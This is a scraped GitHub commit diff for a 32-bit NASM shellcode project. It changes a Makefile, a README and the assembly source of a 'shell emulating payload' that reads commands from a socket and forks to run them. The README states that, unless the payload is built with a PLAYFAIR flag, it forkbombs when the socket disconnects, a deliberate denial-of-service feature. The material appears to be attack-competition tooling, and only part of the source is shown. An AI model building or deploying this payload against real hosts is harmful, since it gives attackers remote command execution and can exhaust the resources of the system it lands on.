File tree Expand file tree Collapse file tree 3 files changed +35
-27
lines changed Expand file tree Collapse file tree 3 files changed +35
-27
lines changed Original file line number Diff line number Diff line change @@ -4,14 +4,16 @@ INCLUDEDIR = ../include/
4
4
INCLUDE = -I $(INCLUDEDIR ) -I $(RUNTIMEDIR )
5
5
CFLAGS = -m32 $(INCLUDE )
6
6
SFLAGS = -D INT80
7
+ PLAYFAIR = -D PLAYFAIR
8
+
7
9
8
10
TARGET =shell32.s
9
11
10
12
all : assemble link
11
13
12
14
assemble : $(TARGET )
13
- nasm -f elf $(TARGET ) $(INCLUDE ) -o shellcode.o $(SFLAGS )
14
- nasm $(TARGET ) $(INCLUDE ) -o shellcode $(SFLAGS )
15
+ nasm -f elf $(TARGET ) $(INCLUDE ) -o shellcode.o $(SFLAGS ) $( PLAYFAIR )
16
+ nasm $(TARGET ) $(INCLUDE ) -o shellcode $(SFLAGS ) $( PLAYFAIR )
15
17
16
18
link : $(TARGET )
17
19
gcc shellcode.o $(CFLAGS ) -o test_shellcode
Original file line number Diff line number Diff line change
1
+ 32bit shell emulating payload will close gracefully when assembled with -D PLAYFAIR (Check makefile)
2
+ If playfair is not defined, the payload will forkbomb when the socket is disconnected
Original file line number Diff line number Diff line change 1
1
;; Evan Jensen 32bit shell emulating shellcode
2
2
;;
3
-
3
+ BITS 32
4
4
%include "short32.s"
5
5
%include "syscall.s"
6
6
%define BUFFERLEN 0x1ff
7
7
8
8
global main
9
9
10
10
main:
11
-
12
- do_fork:
13
-
14
- SYSTEM_CALL(fork)
15
- test eax , eax
16
- jz short child
17
- parent:
18
- push byte 0
19
- push byte 0
20
- push byte 0
21
- pop ebx
22
- pop ecx
23
- pop edx
24
- SYSTEM_CALL(waitpid)
25
- jmp short do_fork
26
- child:
27
- cld
28
11
29
12
get_input:
30
13
xor eax , eax
31
14
cdq
32
15
mov dx , BUFFERLEN
33
- sub esp , edx
34
16
mov ecx , esp
35
17
xor ebx , ebx
36
18
SYSTEM_CALL(read)
37
19
mov ebp , eax
38
20
test eax , eax
39
- jz short do_exit ;synchronous IO or GTFO
40
- mov byte [ eax + esp - 1 ], 0
21
+
22
+ %ifdef PLAYFAIR
23
+ jz short do_exit ;test if socket is closed
24
+ %endif
25
+ mov byte [ esp + eax - 1 ], 0
26
+
41
27
28
+ do_fork:
29
+
30
+ SYSTEM_CALL(fork)
31
+ test eax , eax
32
+ jz short child
33
+ parent:
34
+ xor ebx , ebx
35
+ xor ecx , ecx
36
+ xor edx , edx
37
+ SYSTEM_CALL(waitpid)
38
+ jmp short main
42
39
43
- ;; push eax ;return of read pushed by get_input
44
- ;; pop ecx
40
+ child:
45
41
42
+ cld
46
43
;let's parse the arguments here
47
- xchg eax , ecx
44
+
45
+ %ifndef PLAYFAIR
46
+ test ebp , ebp ;return of read
47
+ jz short do_fork
48
+ %endif
49
+
50
+ parse:
51
+ mov ecx , ebp
48
52
push byte " "
49
53
pop eax ;space used for inlined strchr
50
54
mov ebx , esp
51
55
cdq ;msb of eax is zero so this is ok
52
56
53
- add esp , BUFFERLEN ;space for argv[]
57
+ sub esp , BUFFERLEN ;space for argv[]
54
58
add_token: ;; calculate the pointerp to push
55
59
56
60
mov esi , ebp
You can’t perform that action at this time.
0 commit comments